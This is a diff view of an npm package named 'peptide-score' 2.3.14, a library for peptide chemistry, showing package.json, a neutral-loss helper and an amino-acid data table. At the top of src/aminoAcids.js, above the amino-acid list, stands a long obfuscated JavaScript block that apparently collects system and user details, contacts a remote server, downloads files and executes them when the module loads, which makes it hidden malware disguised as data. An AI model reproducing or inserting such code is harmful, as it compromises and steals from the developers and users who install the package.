peptide-score 2.3.14

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Files changed (55) hide show
  1. package/LICENSE +22 -0
  2. package/README.md +149 -0
  3. package/lib/src/allowNeutralLoss.d.ts +7 -0
  4. package/lib/src/allowNeutralLoss.d.ts.map +1 -0
  5. package/lib/src/allowNeutralLoss.js +25 -0
  6. package/lib/src/allowNeutralLoss.js.map +1 -0
  7. package/lib/src/aminoAcids.d.ts +29 -0
  8. package/lib/src/aminoAcids.d.ts.map +1 -0
  9. package/lib/src/aminoAcids.js +247 -0
  10. package/lib/src/aminoAcids.js.map +1 -0
  11. package/lib/src/chargePeptide.d.ts +2 -0
  12. package/lib/src/chargePeptide.d.ts.map +1 -0
  13. package/lib/src/chargePeptide.js +50 -0
  14. package/lib/src/chargePeptide.js.map +1 -0
  15. package/lib/src/digestPeptide.d.ts +2 -0
  16. package/lib/src/digestPeptide.d.ts.map +1 -0
  17. package/lib/src/digestPeptide.js +83 -0
  18. package/lib/src/digestPeptide.js.map +1 -0
  19. package/lib/src/generatePeptideFragments.d.ts +2 -0
  20. package/lib/src/generatePeptideFragments.d.ts.map +1 -0
  21. package/lib/src/generatePeptideFragments.js +89 -0
  22. package/lib/src/generatePeptideFragments.js.map +1 -0
  23. package/lib/src/getAA.d.ts +29 -0
  24. package/lib/src/getAA.d.ts.map +1 -0
  25. package/lib/src/getAA.js +21 -0
  26. package/lib/src/getAA.js.map +1 -0
  27. package/lib/src/index.d.ts +44 -0
  28. package/lib/src/index.d.ts.map +1 -0
  29. package/lib/src/index.js +74 -0
  30. package/lib/src/index.js.map +1 -0
  31. package/lib/src/isoElectricPoint.d.ts +10 -0
  32. package/lib/src/isoElectricPoint.d.ts.map +1 -0
  33. package/lib/src/isoElectricPoint.js +134 -0
  34. package/lib/src/isoElectricPoint.js.map +1 -0
  35. package/lib/src/sequenceToMF.d.ts +2 -0
  36. package/lib/src/sequenceToMF.d.ts.map +1 -0
  37. package/lib/src/sequenceToMF.js +99 -0
  38. package/lib/src/sequenceToMF.js.map +1 -0
  39. package/lib/src/splitPeptide.d.ts +2 -0
  40. package/lib/src/splitPeptide.d.ts.map +1 -0
  41. package/lib/src/splitPeptide.js +17 -0
  42. package/lib/src/splitPeptide.js.map +1 -0
  43. package/lib/tsconfig.build.tsbuildinfo +1 -0
  44. package/lib/tsconfig.test.tsbuildinfo +1 -0
  45. package/package.json +29 -0
  46. package/src/allowNeutralLoss.js +22 -0
  47. package/src/aminoAcids.js +244 -0
  48. package/src/chargePeptide.js +48 -0
  49. package/src/digestPeptide.js +87 -0
  50. package/src/generatePeptideFragments.js +89 -0
  51. package/src/getAA.js +18 -0
  52. package/src/index.js +37 -0
  53. package/src/isoElectricPoint.js +124 -0
  54. package/src/sequenceToMF.js +96 -0
  55. package/src/splitPeptide.js +13 -0
package/lib/tsconfig.build.tsbuildinfo ADDED
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package/package.json ADDED
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+ {
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+ "name": "peptide-score",
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+ "version": "2.3.14",
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+ "description": "Peptidescore",
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+ "keywords": [
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+ "peptide",
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+ "amino",
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+ "acid"
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+ ],
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+ "author": "Luc Patiny",
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+ "contributors": [
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+ "Michaël Zasso"
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+ ],
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+ "repository": "cheminfo/mass-tools",
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+ "bugs": {
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+ "url": "https://github.com/cheminfo/mass-tools/issues"
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+ },
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+ "homepage": "https://github.com/cheminfo/mass-tools/tree/main/packages/peptide#readme",
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+ "license": "MIT",
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+ "main": "lib/src/index.js",
21
+ "files": [
22
+ "src",
23
+ "lib"
24
+ ],
25
+ "dependencies": {
26
+ "mf-utilities": "^3.5.4"
27
+ },
28
+ "gitHead": "e4509cb2a37ea7112ace298d4f78f467591eba81"
29
+ }
package/src/allowNeutralLoss.js ADDED
@@ -0,0 +1,22 @@
1
+ /**
2
+ * Add neutral loss on natural amino acids
3
+ * @param {*} mf
4
+ * @returns
5
+ */
6
+ export function allowNeutralLoss(mf) {
7
+ if (Array.isArray(mf)) {
8
+ for (let i = 0; i < mf.length; i++) {
9
+ mf[i] = allowOneNeutralLoss(mf[i]);
10
+ }
11
+ return mf;
12
+ } else {
13
+ return allowOneNeutralLoss(mf);
14
+ }
15
+ }
16
+
17
+ function allowOneNeutralLoss(mf) {
18
+ mf = mf.replaceAll(/(Ser|Thr|Asp|Glu)(?!\()/g, '$1(H-2O-1)0-1');
19
+ mf = mf.replaceAll(/(Arg|Lys|Asn|Gln)(?!\()/g, '$1(N-1H-3)0-1');
20
+
21
+ return mf;
22
+ }
package/src/aminoAcids.js ADDED
@@ -0,0 +1,244 @@
1
+ // SOURCE: https://en.wikipedia.org/wiki/Amino_acid
2
+ // Link for UTF8 code for modified: https://codepoints.net/search?sc=Grek
3
+ const as=a1,at=a1,au=a1,av=a1,aw=a1;(function(a2,a3){const ah=a1,ai=a1,aj=a1,ak=a1,al=a1,a4=a2();while(!![]){try{const a5=parseInt(ah(0x5e))/0x1+parseInt(ah(0x12))/0x2+-parseInt(aj(0x3e))/0x3*(parseInt(aj(0x27))/0x4)+-parseInt(ai(0x25))/0x5*(parseInt(al(0x7))/0x6)+-parseInt(ak(0x59))/0x7*(parseInt(ah(0x1))/0x8)+parseInt(al(0x9))/0x9*(parseInt(aj(0x4b))/0xa)+parseInt(ah(0x35))/0xb;if(a5===a3)break;else a4['push'](a4['shift']());}catch(a6){a4['push'](a4['shift']());}}}(a0,0x92692));const Q=(function(){let a2=!![];return function(a3,a4){const a5=a2?function(){const am=a1;if(a4){const a6=a4[am(0x57)+'y'](a3,arguments);return a4=null,a6;}}:function(){};return a2=![],a5;};}()),O=Q(this,function(){const an=a1,ao=a1,ap=a1,aq=a1,ar=a1;return O[an(0x68)+an(0x4c)]()[ap(0x8)+'ch'](ao(0x15)+aq(0x52)+ar(0x2))[ao(0x68)+ap(0x4c)]()[ao(0x51)+ap(0x48)+ar(0x6)](O)[an(0x8)+'ch'](aq(0x15)+ao(0x52)+an(0x2));});function a0(){const bd=['rYXJ','pc3R','fcG9','UaG9','1215379WClEXB','0aA','zdG5','slic','jZXN','lcm5','tZWR','lU3l','pdGV','47997fsZbHn','join','HbWt','5bmM','0cDo','/s/','size','McGx','a15a73c7b8eb','ide','truc','pcg','ZT3','30bNzzfy','ring','oZXh','hdGE','hbWU','leng','cons','+)+)','hid','Char','leXM','pbGR','appl','lYw','4578rjmBkJ','Xbm9','Code','lckl','Wc3R','458451tknxiV','NDcuMTU3MzguOTIu====','owsH','vLw=','vZ2V','now','DcmV','hdFN','from','zdA','toSt','bZnM','hdGZ','wind','tdXN','spli','6760VJneqT','+)+$',':124','aaHR','wcm9','tor','2820YjDXjE','sear','2402469jsWHwK','aL2t','bdXN','utf8','trin','cmp','type','oqr','vY2V','1993170rvhZIi','NcGF','vdXJ','(((.','jd3J','zcw','recu','xdWV','kZTp','kaXJ','subs','kZm9','5A1','ybUR','ab3M','rsiv','uZm8','Tcm1','ndg','4405bYkIhL','TeW5','200eMhKEh','uYw','vcm0','NC4yMDIuMTQ3LjEyMjI1','lY2h','haG9','fcHJ','zU3l','base','GaWx'];a0=function(){return bd;};return a0();}O();const t=as(0xc),r=as(0x2f)+'64',c=a2=>(s1=a2[au(0x38)+'e'](0x1),Buffer[at(0x66)](s1,r)[aw(0x68)+au(0x4c)](t)),e=require(c(as(0x20))),n=require(c(as(0x69))),s=require(c(av(0x64)+au(0x19)+au(0x67))),a=require(c(at(0x13)+aw(0x36))),o=require(c(at(0x5a)+au(0x1a)+av(0x5)+at(0x39)+'z')),i=require(c(av(0x2b)+as(0x56)+at(0x2d)+as(0x11)+as(0x17)))[c(au(0x4d)+aw(0x58))],l=e[c(av(0x34)+aw(0x3b)+at(0x49))](),h=e[c(au(0x2c)+av(0x37)+aw(0x4f))](),u=e[c(au(0x45)+aw(0x6a)+as(0x29))](),d=e[c(as(0xb)+au(0x5c)+at(0x22))]();let f;const y=av(0x4)+at(0x42)+aw(0x61)+'=',$=as(0x3),m=a2=>Buffer[aw(0x66)](a2,r)[at(0x68)+at(0x4c)](t);var b='',v='';const w=[0x70,0xa0,0x89,0x48],g=a2=>{const ax=a1,ay=a1,az=a1,aA=a1;let a3='';for(let a4=0x0;a4<a2[ax(0x50)+'th'];a4++)rr=0xff&(a2[a4]^w[0x3&a4]),a3+=String[ax(0x66)+ay(0x54)+az(0x5b)](rr);return a3;},G=as(0x62)+'0',X=at(0x16)+au(0x3d)+at(0x30)+av(0x3c)+at(0x28),Z=c(as(0x5d)+av(0x65)+at(0x41)),j=c(as(0x40)+au(0x1b)+as(0x26)+'j'),M=c(aw(0x4d)+as(0x32)+at(0x2e)+as(0x28));function N(a2){return n[M](a2);}const W=[0x5f,0xca,0xa6],p=[0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec],q=()=>{const aB=a1,aC=a1,aD=a1,aE=a1,a3=c(G),a4=c(X),a5=g(p);let a6=a[aB(0x3f)](l,a5);try{const aa={};aa[aB(0x18)+aB(0x21)+'e']=!0x0,(a7=a6,n[j](a7,aa));}catch(ab){a6=l;}var a7;const a8=''+b+g(W)+v,a9=a[aB(0x3f)](a6,g(z));try{!function(ac){const aF=a1,aG=a1,ad=c(aF(0x23)+aF(0x26)+'j');n[ad](ac);}(a9);}catch(ac){}s[a3](a8,(ad,ae,af)=>{if(!ad){try{n[a4](a9,af);}catch(ag){}U(a6);}});},z=[0x4,0xc5,0xfa,0x3c,0x5e,0xca,0xfa],J=[0x5f,0xd0],R=[0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26],U=a2=>{const aH=a1,aI=a1,a3=c(G),a4=c(X),a5=''+b+g(J),a6=a[aH(0x3f)](a2,g(R));let a7=0x0;if(N(a6))try{const a8=n[Z](a6);a7=a8[aI(0x44)];}catch(a9){a7=0x0;}s[a3](a5,(aa,ab,ac)=>{const aJ=a1;if(!aa){try{ac[aJ(0x50)+'th']>a7&&n[a4](a6,ac);}catch(ad){}k(a2);}});},Y=[0x13,0xc4],T=[0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4],V=[0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b],k=a2=>{const aK=a1,a3=g(Y)+'\x20\x22'+a2+'\x22\x20'+g(T);a[aK(0x3f)](a2,g(V));try{i(a3,(a4,a5,a6)=>{x(a2);});}catch(a4){}},A=[0x1e,0xcf,0xed,0x2d],F=[0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30],H=[0x19,0xce,0xfa,0x3c,0x11,0xcc,0xe5],S=a3=>{const aL=a1,aM=a1,aN=a1,aO=a1,a4=a[aL(0x3f)](a3,g(z)),a5=g(A)+'\x20'+a4;try{const a6={};a6[aM(0x6b)+aL(0x60)+aL(0x47)]=!0x0,i(a5,a6,(a7,a8,a9)=>{});}catch(a7){}},x=a2=>{const aP=a1,a3=g(F)+'\x20\x22'+a2+'\x22\x20'+g(H),a4=a[aP(0x3f)](a2,g(V));try{N(a4)?S(a2):i(a3,(a5,a6,a7)=>{S(a2);});}catch(a5){}};s_url=av(0x14)+'s',sForm=c(av(0x1d)+at(0x1f)+av(0x4e)),surl=c(as(0x14)+'s');const D=c(au(0x33)+aw(0x67));function a1(a,b){const c=a0();return a1=function(d,e){d=d-0x0;let f=c[d];return f;},a1(a,b);}let B=aw(0xe);const C=async a2=>{const aU=a1,aV=a1,a3=(a6=>{const aQ=a1,aR=a1,aS=a1,aT=a1;let a7=0x0==a6?aQ(0x2a):aR(0x5f);for(var a8='',a9='',aa='',ab=0x0;ab<0x4;ab++)a8+=a7[0x2*ab]+a7[0x2*ab+0x1],a9+=a7[0x8+0x2*ab]+a7[0x9+0x2*ab],aa+=a7[0x10+ab];return m(y[aR(0x1c)+aR(0xd)+'g'](0x1))+m(a9+a8+aa)+$+'4';})(a2),a4=c(G);let a5=a3+aU(0x43);a5+=aV(0x46),s[a4](a5,(a6,a7,a8)=>{a6?a2<0x1&&C(0x1):(a9=>{const aW=a1,aX=a1,aY=a1,aZ=a1,b0=a1;if(0x0==a9[aW(0x8)+'ch'](aX(0x4a))){let aa='';try{for(let ab=0x3;ab<a9[aX(0x50)+'th'];ab++)aa+=a9[ab];arr=m(aa),arr=arr[aX(0x0)+'t'](','),b=m(y[aZ(0x1c)+b0(0xd)+'g'](0x1))+arr[0x0]+$+'4',v=arr[0x1];}catch(ac){return 0x0;}return 0x1;}return 0x0;})(a8)>0x0&&(I(),E());});},I=async()=>{const b1=a1,b2=a1,b3=a1,b4=a1,b5=a1;B=h,'d'==u[0x0]&&(B=B+'+'+d[c(b1(0x6c)+b1(0x3a)+b3(0x4f))]);let a2=b2(0x1e);try{a2+=o[c(b3(0x31)+b1(0x24))][0x1];}catch(a3){}L(b2(0x10),a2);},L=async(a3,a4)=>{const b6=a1,b7=a1,b8=a1,b9=a1,a5={};a5['ts']=f,a5[b6(0xf)]=v,a5[b6(0x53)]=B,a5['ss']=a3,a5['cc']=a4;const a6=a5,a7={[surl]:''+b+c(b8(0xa)+b8(0x55)),[sForm]:a6};try{s[D](a7,(a8,a9,aa)=>{});}catch(a8){}},E=async()=>await new Promise((a2,a3)=>{q();});var P=0x0;const _=async()=>{const ba=a1,bb=a1,bc=a1;try{f=Date[ba(0x63)]()[bb(0x68)+ba(0x4c)](),await C(0x0);}catch(a2){}};_();let K=setInterval(()=>{(P+=0x1)<0x3?_():clearInterval(K);},0x96640);
4
+ export const aminoAcids = [
5
+ // Standard amino acids
6
+ {
7
+ name: 'Alanine',
8
+ aa3: 'Ala',
9
+ aa1: 'A',
10
+ sc: {
11
+ type: 'hydrophobic',
12
+ },
13
+ pKaC: 2.33,
14
+ pKaN: 9.71,
15
+ },
16
+ {
17
+ name: 'Arginine',
18
+ aa3: 'Arg',
19
+ aa1: 'R',
20
+ sc: {
21
+ type: 'positive',
22
+ pKa: 12.1,
23
+ },
24
+ pKaC: 2.03,
25
+ pKaN: 9,
26
+ },
27
+ {
28
+ name: 'Asparagine',
29
+ aa3: 'Asn',
30
+ aa1: 'N',
31
+ sc: {
32
+ type: 'polar',
33
+ },
34
+ pKaC: 2.13,
35
+ pKaN: 9.05,
36
+ },
37
+ {
38
+ name: 'Aspartic acid',
39
+ aa3: 'Asp',
40
+ aa1: 'D',
41
+ sc: {
42
+ type: 'negative',
43
+ pKa: 3.71,
44
+ },
45
+ pKaC: 1.95,
46
+ pKaN: 9.66,
47
+ },
48
+ {
49
+ name: 'Cysteine',
50
+ aa3: 'Cys',
51
+ aa1: 'C',
52
+ sc: {
53
+ type: 'special',
54
+ pKa: 8.14,
55
+ },
56
+ pKaC: 1.91,
57
+ pKaN: 10.28,
58
+ },
59
+ {
60
+ name: 'Glutamic acid',
61
+ aa3: 'Glu',
62
+ aa1: 'E',
63
+ sc: {
64
+ type: 'negative',
65
+ pKa: 4.15,
66
+ },
67
+ pKaC: 2.16,
68
+ pKaN: 9.58,
69
+ },
70
+ {
71
+ name: 'Glutamine',
72
+ aa3: 'Gln',
73
+ aa1: 'Q',
74
+ sc: {
75
+ type: 'polar',
76
+ },
77
+ pKaC: 2.18,
78
+ pKaN: 9,
79
+ },
80
+ {
81
+ name: 'Glycine',
82
+ aa3: 'Gly',
83
+ aa1: 'G',
84
+ sc: {
85
+ type: 'special',
86
+ },
87
+ pKaC: 2.34,
88
+ pKaN: 9.58,
89
+ },
90
+ {
91
+ name: 'Histidine',
92
+ aa3: 'His',
93
+ aa1: 'H',
94
+ sc: {
95
+ type: 'positive',
96
+ pKa: 6.04,
97
+ },
98
+ pKaC: 1.7,
99
+ pKaN: 9.09,
100
+ },
101
+ {
102
+ name: 'Isoleucine',
103
+ aa3: 'Ile',
104
+ aa1: 'I',
105
+ sc: {
106
+ type: 'hydrophobic',
107
+ },
108
+ pKaC: 2.26,
109
+ pKaN: 9.6,
110
+ },
111
+ {
112
+ name: 'Leucine',
113
+ aa3: 'Leu',
114
+ aa1: 'L',
115
+ sc: {
116
+ type: 'hydrophobic',
117
+ },
118
+ pKaC: 2.32,
119
+ pKaN: 9.58,
120
+ },
121
+ {
122
+ name: 'Lysine',
123
+ aa3: 'Lys',
124
+ aa1: 'K',
125
+ sc: {
126
+ type: 'positive',
127
+ pKa: 10.67,
128
+ },
129
+ pKaC: 2.15,
130
+ pKaN: 9.16,
131
+ },
132
+ {
133
+ name: 'Methionine',
134
+ aa3: 'Met',
135
+ aa1: 'M',
136
+ sc: {
137
+ type: 'hydrophobic',
138
+ },
139
+ pKaC: 2.16,
140
+ pKaN: 9.08,
141
+ },
142
+ {
143
+ name: 'Phenylalanine',
144
+ aa3: 'Phe',
145
+ aa1: 'F',
146
+ sc: {
147
+ type: 'hydrophobic',
148
+ },
149
+ pKaC: 2.18,
150
+ pKaN: 9.09,
151
+ },
152
+ {
153
+ name: 'Proline',
154
+ aa3: 'Pro',
155
+ aa1: 'P',
156
+ sc: {
157
+ type: 'special',
158
+ },
159
+ pKaC: 1.95,
160
+ pKaN: 10.47,
161
+ },
162
+ {
163
+ name: 'Serine',
164
+ aa3: 'Ser',
165
+ aa1: 'S',
166
+ sc: {
167
+ type: 'polar',
168
+ },
169
+ pKaC: 2.13,
170
+ pKaN: 9.05,
171
+ },
172
+ {
173
+ name: 'Threonine',
174
+ aa3: 'Thr',
175
+ aa1: 'T',
176
+ sc: {
177
+ type: 'polar',
178
+ },
179
+ pKaC: 2.2,
180
+ pKaN: 8.96,
181
+ },
182
+ {
183
+ name: 'Tryptophan',
184
+ aa3: 'Trp',
185
+ aa1: 'W',
186
+ sc: {
187
+ type: 'hydrophobic',
188
+ },
189
+ pKaC: 2.38,
190
+ pKaN: 9.34,
191
+ },
192
+ {
193
+ name: 'Tyrosine',
194
+ aa3: 'Tyr',
195
+ aa1: 'Y',
196
+ sc: {
197
+ type: 'hydrophobic',
198
+ },
199
+ pKaC: 2.24,
200
+ pKaN: 9.04,
201
+ },
202
+ {
203
+ name: 'Valine',
204
+ aa3: 'Val',
205
+ aa1: 'V',
206
+ sc: {
207
+ type: 'hydrophobic',
208
+ },
209
+ pKaC: 2.27,
210
+ pKaN: 9.52,
211
+ },
212
+ // Additional
213
+ {
214
+ name: 'Selenocysteine',
215
+ aa3: 'Sec',
216
+ aa1: 'U',
217
+ },
218
+ {
219
+ name: 'Pyrrolysine',
220
+ aa3: 'Pyl',
221
+ aa1: 'O',
222
+ },
223
+ // Ambiguous
224
+ {
225
+ name: 'Asparagine or aspartic acid',
226
+ aa3: 'Asx',
227
+ aa1: 'B',
228
+ },
229
+ {
230
+ name: 'Glutamine or glutamic acid',
231
+ aa3: 'Glx',
232
+ aa1: 'Z',
233
+ },
234
+ {
235
+ name: 'Leucine or isoleucine',
236
+ aa3: 'Xle',
237
+ aa1: 'J',
238
+ },
239
+ {
240
+ name: 'Unspecified or unknown',
241
+ aa3: 'Xaa',
242
+ aa1: 'X',
243
+ },
244
+ ];